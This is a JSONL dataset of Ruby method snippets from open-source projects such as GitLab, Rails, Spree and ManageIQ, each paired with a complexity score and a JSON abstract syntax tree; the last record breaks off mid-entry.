{"repo_name":"discourse","file_path":"./repos/discourse/spec/lib/onebox/engine/pubmed_onebox_spec.rb","start_line":78,"raw_source":"def match(url)\n      Onebox::Engine::PubmedOnebox === URI(url)\n    end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"match\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"url\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Onebox\"]},\"Engine\"]},\"PubmedOnebox\"]},\"===\",{\"type\":\"send\",\"children\":[null,\"URI\",{\"type\":\"lvar\",\"children\":[\"url\"]}]}]}]}","id":"50360733-a69d-49dd-94f6-eb51fc7a3366"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/bitbucket_import/importers/pull_request_notes_importer.rb","start_line":58,"raw_source":"def import_comment(comment)\n          position = position_map[comment.iid]\n          discussion_id = discussion_map[comment.parent_id]\n\n          note = create_diff_note(comment, position, discussion_id)\n\n          discussion_map[comment.iid] = note&.discussion_id\n        end","complexity_score":14.8,"ast_json":"{\"type\":\"def\",\"children\":[\"import_comment\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"comment\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"position\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"position_map\"]},\"[]\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"comment\"]},\"iid\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"discussion_id\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"discussion_map\"]},\"[]\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"comment\"]},\"parent_id\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"note\",{\"type\":\"send\",\"children\":[null,\"create_diff_note\",{\"type\":\"lvar\",\"children\":[\"comment\"]},{\"type\":\"lvar\",\"children\":[\"position\"]},{\"type\":\"lvar\",\"children\":[\"discussion_id\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"discussion_map\"]},\"[]=\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"comment\"]},\"iid\"]},{\"type\":\"csend\",\"children\":[{\"type\":\"lvar\",\"children\":[\"note\"]},\"discussion_id\"]}]}]}]}","id":"17fa4284-94f2-4cf8-8e47-6b4f68345655"}
{"repo_name":"spree","file_path":"./repos/spree/core/app/models/spree/order.rb","start_line":721,"raw_source":"def shipping_method\n      # This query will select the first available shipping method from the shipments.\n      # It will use subquery to first select the shipping method id from the shipments' selected_shipping_rate.\n      Spree::ShippingMethod.\n        where(id: shipments.with_selected_shipping_method.limit(1).pluck(:shipping_method_id)).\n        limit(1).\n        first\n    end","complexity_score":12.05,"ast_json":"{\"type\":\"def\",\"children\":[\"shipping_method\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Spree\"]},\"ShippingMethod\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"shipments\"]},\"with_selected_shipping_method\"]},\"limit\",{\"type\":\"int\",\"children\":[1]}]},\"pluck\",{\"type\":\"sym\",\"children\":[\"shipping_method_id\"]}]}]}]}]},\"limit\",{\"type\":\"int\",\"children\":[1]}]},\"first\"]}]}","id":"1f81fdb5-0489-4c90-a606-5c6213bdef0f"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/reporting/lib/report/walker.rb","start_line":52,"raw_source":"def access_block(name, &block)\n    @blocks ||= {}\n    @blocks[name] = block if block\n    @blocks[name]\n  end","complexity_score":4.1,"ast_json":"{\"type\":\"def\",\"children\":[\"access_block\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"name\"]},{\"type\":\"blockarg\",\"children\":[\"block\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@blocks\"]},{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"block\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@blocks\"]},\"[]=\",{\"type\":\"lvar\",\"children\":[\"name\"]},{\"type\":\"lvar\",\"children\":[\"block\"]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@blocks\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"name\"]}]}]}]}","id":"fa319dfc-fd2e-4259-b69a-44320f2d1105"}
{"repo_name":"fastlane","file_path":"./repos/fastlane/spaceship/lib/spaceship/portal/certificate.rb","start_line":273,"raw_source":"def all(mac: false)\n          if self == Certificate # are we the base-class?\n            type_ids = mac ? MAC_CERTIFICATE_TYPE_IDS : IOS_CERTIFICATE_TYPE_IDS\n            type_ids = APPLE_CERTIFICATE_TYPE_IDS.merge(type_ids)\n            types = type_ids.keys\n            types += OLDER_IOS_CERTIFICATE_TYPES unless mac\n          else\n            types = [CERTIFICATE_TYPE_IDS.key(self)]\n            mac = MAC_CERTIFICATE_TYPE_IDS.values.include?(self)\n          end\n\n          client.certificates(types, mac: mac).map do |cert|\n            factory(cert)\n          end\n        end","complexity_score":24.9,"ast_json":"{\"type\":\"def\",\"children\":[\"all\",{\"type\":\"args\",\"children\":[{\"type\":\"kwoptarg\",\"children\":[\"mac\",{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"==\",{\"type\":\"const\",\"children\":[null,\"Certificate\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"type_ids\",{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mac\"]},{\"type\":\"const\",\"children\":[null,\"MAC_CERTIFICATE_TYPE_IDS\"]},{\"type\":\"const\",\"children\":[null,\"IOS_CERTIFICATE_TYPE_IDS\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"type_ids\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"APPLE_CERTIFICATE_TYPE_IDS\"]},\"merge\",{\"type\":\"lvar\",\"children\":[\"type_ids\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"types\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"type_ids\"]},\"keys\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mac\"]},null,{\"type\":\"op_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"types\"]},\"+\",{\"type\":\"const\",\"children\":[null,\"OLDER_IOS_CERTIFICATE_TYPES\"]}]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"types\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CERTIFICATE_TYPE_IDS\"]},\"key\",{\"type\":\"self\",\"children\":[]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"mac\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"MAC_CERTIFICATE_TYPE_IDS\"]},\"values\"]},\"include?\",{\"type\":\"self\",\"children\":[]}]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"client\"]},\"certificates\",{\"type\":\"lvar\",\"children\":[\"types\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"mac\"]},{\"type\":\"lvar\",\"children\":[\"mac\"]}]}]}]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"cert\"]}]},{\"type\":\"send\",\"children\":[null,\"factory\",{\"type\":\"lvar\",\"children\":[\"cert\"]}]}]}]}]}","id":"b6eda77f-234f-4e79-b5eb-f9ff17dac777"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/server/ms15_134_mcl_leak.rb","start_line":106,"raw_source":"def load_file_paths\n    @files ||= lambda {\n      buf = ''\n      ::File.open(datastore['FILES'], 'rb') do |f|\n        buf = f.read\n      end\n      buf.split.map { |n| \"\\\"#{n.gsub!(/\\\\/, '/')}\\\"\" }\n    }.call\n  end","complexity_score":20.9,"ast_json":"{\"type\":\"def\",\"children\":[\"load_file_paths\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@files\"]},{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"lambda\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"buf\",{\"type\":\"str\",\"children\":[\"\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"File\"]},\"open\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"FILES\"]}]},{\"type\":\"str\",\"children\":[\"rb\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"f\"]}]},{\"type\":\"lvasgn\",\"children\":[\"buf\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"f\"]},\"read\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"buf\"]},\"split\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"n\"]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\\"\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"n\"]},\"gsub!\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"\\\\\\\\\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"str\",\"children\":[\"/\"]}]}]},{\"type\":\"str\",\"children\":[\"\\\"\"]}]}]}]}]},\"call\"]}]}]}","id":"b9df54d4-7741-47e4-a709-ebde7b2e6b07"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record/relation.rb","start_line":102,"raw_source":"def bind_attribute(name, value) # :nodoc:\n      if reflection = model._reflect_on_association(name)\n        name = reflection.foreign_key\n        value = value.read_attribute(reflection.association_primary_key) unless value.nil?\n      end\n\n      attr = table[name]\n      bind = predicate_builder.build_bind_attribute(attr.name, value)\n      yield attr, bind\n    end","complexity_score":21.7,"ast_json":"{\"type\":\"def\",\"children\":[\"bind_attribute\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"name\"]},{\"type\":\"arg\",\"children\":[\"value\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"reflection\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"model\"]},\"_reflect_on_association\",{\"type\":\"lvar\",\"children\":[\"name\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"name\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"reflection\"]},\"foreign_key\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},\"nil?\"]},null,{\"type\":\"lvasgn\",\"children\":[\"value\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},\"read_attribute\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"reflection\"]},\"association_primary_key\"]}]}]}]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"attr\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"table\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"name\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"bind\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"predicate_builder\"]},\"build_bind_attribute\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attr\"]},\"name\"]},{\"type\":\"lvar\",\"children\":[\"value\"]}]}]},{\"type\":\"yield\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attr\"]},{\"type\":\"lvar\",\"children\":[\"bind\"]}]}]}]}","id":"b0b23e95-f1eb-4fd0-832a-c8e68c0b14df"}
{"repo_name":"sinatra","file_path":"./repos/sinatra/lib/sinatra/show_exceptions.rb","start_line":58,"raw_source":"def prefers_plain_text?(env)\n      Request.new(env).preferred_type('text/plain', 'text/html') != 'text/html' &&\n        [/curl/].index { |item| item =~ env['HTTP_USER_AGENT'] }\n    end","complexity_score":9.7,"ast_json":"{\"type\":\"def\",\"children\":[\"prefers_plain_text?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"env\"]}]},{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Request\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"env\"]}]},\"preferred_type\",{\"type\":\"str\",\"children\":[\"text/plain\"]},{\"type\":\"str\",\"children\":[\"text/html\"]}]},\"!=\",{\"type\":\"str\",\"children\":[\"text/html\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"curl\"]},{\"type\":\"regopt\",\"children\":[]}]}]},\"index\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"item\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"item\"]},\"=~\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"env\"]},\"[]\",{\"type\":\"str\",\"children\":[\"HTTP_USER_AGENT\"]}]}]}]}]}]}","id":"61796feb-1411-4f1f-99bd-a13500ff7f09"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/spec/support/quota_helper.rb","start_line":18,"raw_source":"def setup_tags\n        test_values = {:storage => \"1024\", :vms => \"2\", :cpu => \"2\", :memory => \"1024\"}\n        test_values.each do |k, v|\n          max_cat = \"quota_max_#{k}\"\n          max_tag = (v.to_i * 2).to_s\n          create_category_and_tag(max_cat, max_tag)\n          @miq_group.tag_add(max_tag, :ns => \"/managed\", :cat => max_cat)\n          warn_cat = \"quota_warn_#{k}\"\n          warn_tag = v.to_s\n          create_category_and_tag(warn_cat, warn_tag)\n        end\n      end","complexity_score":17.2,"ast_json":"{\"type\":\"def\",\"children\":[\"setup_tags\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"test_values\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"storage\"]},{\"type\":\"str\",\"children\":[\"1024\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"vms\"]},{\"type\":\"str\",\"children\":[\"2\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"cpu\"]},{\"type\":\"str\",\"children\":[\"2\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"memory\"]},{\"type\":\"str\",\"children\":[\"1024\"]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"test_values\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"k\"]},{\"type\":\"arg\",\"children\":[\"v\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"max_cat\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"quota_max_\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"k\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"max_tag\",{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"v\"]},\"to_i\"]},\"*\",{\"type\":\"int\",\"children\":[2]}]}]},\"to_s\"]}]},{\"type\":\"send\",\"children\":[null,\"create_category_and_tag\",{\"type\":\"lvar\",\"children\":[\"max_cat\"]},{\"type\":\"lvar\",\"children\":[\"max_tag\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@miq_group\"]},\"tag_add\",{\"type\":\"lvar\",\"children\":[\"max_tag\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"ns\"]},{\"type\":\"str\",\"children\":[\"/managed\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"cat\"]},{\"type\":\"lvar\",\"children\":[\"max_cat\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"warn_cat\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"quota_warn_\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"k\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"warn_tag\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"v\"]},\"to_s\"]}]},{\"type\":\"send\",\"children\":[null,\"create_category_and_tag\",{\"type\":\"lvar\",\"children\":[\"warn_cat\"]},{\"type\":\"lvar\",\"children\":[\"warn_tag\"]}]}]}]}]}]}","id":"89935e91-3724-4859-960b-8923595c56d3"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/server_role.rb","start_line":65,"raw_source":"def master_supported?\n    max_concurrent == 1\n  end","complexity_score":2.5,"ast_json":"{\"type\":\"def\",\"children\":[\"master_supported?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"max_concurrent\"]},\"==\",{\"type\":\"int\",\"children\":[1]}]}]}","id":"4cd1bb5d-c504-4abe-9ea9-c0d9c8edd85d"}
{"repo_name":"rails","file_path":"./repos/rails/actionpack/test/dispatch/permissions_policy_test.rb","start_line":35,"raw_source":"def test_invalid_directive_source\n    exception = assert_raises(ArgumentError) do\n      @policy.geolocation [:non_existent]\n    end\n\n    assert_equal \"Invalid HTTP permissions policy source: [:non_existent]\", exception.message\n  end","complexity_score":6.3,"ast_json":"{\"type\":\"def\",\"children\":[\"test_invalid_directive_source\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"exception\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_raises\",{\"type\":\"const\",\"children\":[null,\"ArgumentError\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@policy\"]},\"geolocation\",{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"non_existent\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"Invalid HTTP permissions policy source: [:non_existent]\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"exception\"]},\"message\"]}]}]}]}","id":"da68dc87-31db-48db-b51c-6f29db9160f1"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/background_migration/cleanup_orphaned_routes.rb","start_line":56,"raw_source":"def cleanup_relations(batch_column, orphaned_namespace_routes, pause_ms, sub_batch_size)\n        Gitlab::Database.allow_cross_joins_across_databases(\n          url: \"https://gitlab.com/gitlab-org/gitlab/-/issues/420046\") do\n          orphaned_namespace_routes.each_batch(column: batch_column, of: sub_batch_size) do |sub_batch|\n            batch_metrics.time_operation(:cleanup_orphaned_routes) do\n              sub_batch.delete_all\n            end\n          end\n        end\n      end","complexity_score":9.3,"ast_json":"{\"type\":\"def\",\"children\":[\"cleanup_relations\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"batch_column\"]},{\"type\":\"arg\",\"children\":[\"orphaned_namespace_routes\"]},{\"type\":\"arg\",\"children\":[\"pause_ms\"]},{\"type\":\"arg\",\"children\":[\"sub_batch_size\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Database\"]},\"allow_cross_joins_across_databases\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"url\"]},{\"type\":\"str\",\"children\":[\"https://gitlab.com/gitlab-org/gitlab/-/issues/420046\"]}]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"orphaned_namespace_routes\"]},\"each_batch\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"column\"]},{\"type\":\"lvar\",\"children\":[\"batch_column\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"of\"]},{\"type\":\"lvar\",\"children\":[\"sub_batch_size\"]}]}]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"sub_batch\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"batch_metrics\"]},\"time_operation\",{\"type\":\"sym\",\"children\":[\"cleanup_orphaned_routes\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sub_batch\"]},\"delete_all\"]}]}]}]}]}","id":"0caea015-7878-4ffb-9138-48b08e2124ab"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/ci/artifact_blob.rb","start_line":19,"raw_source":"def size\n      # Old versions of Workhorse omit the size if the file is 0 bytes\n      entry.metadata.fetch(:size, 0)\n    end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"size\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"entry\"]},\"metadata\"]},\"fetch\",{\"type\":\"sym\",\"children\":[\"size\"]},{\"type\":\"int\",\"children\":[0]}]}]}","id":"5a62c87e-8265-475a-ba28-77b94cb664b2"}
{"repo_name":"brakeman","file_path":"./repos/brakeman/lib/brakeman/report/pager.rb","start_line":71,"raw_source":"def in_ci?\n      ci = ENV[\"CI\"]\n\n      ci.is_a? String and ci.downcase == \"true\"\n    end","complexity_score":6.5,"ast_json":"{\"type\":\"def\",\"children\":[\"in_ci?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"ci\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ENV\"]},\"[]\",{\"type\":\"str\",\"children\":[\"CI\"]}]}]},{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ci\"]},\"is_a?\",{\"type\":\"const\",\"children\":[null,\"String\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ci\"]},\"downcase\"]},\"==\",{\"type\":\"str\",\"children\":[\"true\"]}]}]}]}]}","id":"5497ada0-d51b-4cac-b1b8-1b3a4a8bb1b2"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/gitaly_client/operation_service.rb","start_line":438,"raw_source":"def user_rebase_to_ref(user, source_sha:, target_ref:, first_parent_ref:, expected_old_oid: \"\")\n        request = Gitaly::UserRebaseToRefRequest.new(\n          user: gitaly_user(user),\n          repository: @gitaly_repo,\n          source_sha: source_sha,\n          target_ref: encode_binary(target_ref),\n          first_parent_ref: encode_binary(first_parent_ref),\n          expected_old_oid: expected_old_oid,\n          timestamp: Google::Protobuf::Timestamp.new(seconds: Time.now.utc.to_i)\n        )\n\n        response = gitaly_client_call(@repository.storage, :operation_service,\n          :user_rebase_to_ref, request, timeout: GitalyClient.long_timeout)\n\n        response.commit_id\n      end","complexity_score":17.0,"ast_json":"{\"type\":\"def\",\"children\":[\"user_rebase_to_ref\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"user\"]},{\"type\":\"kwarg\",\"children\":[\"source_sha\"]},{\"type\":\"kwarg\",\"children\":[\"target_ref\"]},{\"type\":\"kwarg\",\"children\":[\"first_parent_ref\"]},{\"type\":\"kwoptarg\",\"children\":[\"expected_old_oid\",{\"type\":\"str\",\"children\":[\"\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"request\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitaly\"]},\"UserRebaseToRefRequest\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user\"]},{\"type\":\"send\",\"children\":[null,\"gitaly_user\",{\"type\":\"lvar\",\"children\":[\"user\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"repository\"]},{\"type\":\"ivar\",\"children\":[\"@gitaly_repo\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"source_sha\"]},{\"type\":\"lvar\",\"children\":[\"source_sha\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"target_ref\"]},{\"type\":\"send\",\"children\":[null,\"encode_binary\",{\"type\":\"lvar\",\"children\":[\"target_ref\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"first_parent_ref\"]},{\"type\":\"send\",\"children\":[null,\"encode_binary\",{\"type\":\"lvar\",\"children\":[\"first_parent_ref\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"expected_old_oid\"]},{\"type\":\"lvar\",\"children\":[\"expected_old_oid\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"timestamp\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Google\"]},\"Protobuf\"]},\"Timestamp\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"seconds\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"now\"]},\"utc\"]},\"to_i\"]}]}]}]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"response\",{\"type\":\"send\",\"children\":[null,\"gitaly_client_call\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@repository\"]},\"storage\"]},{\"type\":\"sym\",\"children\":[\"operation_service\"]},{\"type\":\"sym\",\"children\":[\"user_rebase_to_ref\"]},{\"type\":\"lvar\",\"children\":[\"request\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"timeout\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"GitalyClient\"]},\"long_timeout\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"response\"]},\"commit_id\"]}]}]}","id":"a1b6c6d8-315d-4bbd-a4fa-dbb323d4dd65"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/workers/clusters/agents/notify_git_push_worker.rb","start_line":15,"raw_source":"def perform(project_id)\n        return unless project = ::Project.find_by_id(project_id)\n\n        Gitlab::Kas::Client.new.send_git_push_event(project: project)\n      end","complexity_score":5.2,"ast_json":"{\"type\":\"def\",\"children\":[\"perform\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"project_id\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"project\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Project\"]},\"find_by_id\",{\"type\":\"lvar\",\"children\":[\"project_id\"]}]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Kas\"]},\"Client\"]},\"new\"]},\"send_git_push_event\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"project\"]},{\"type\":\"lvar\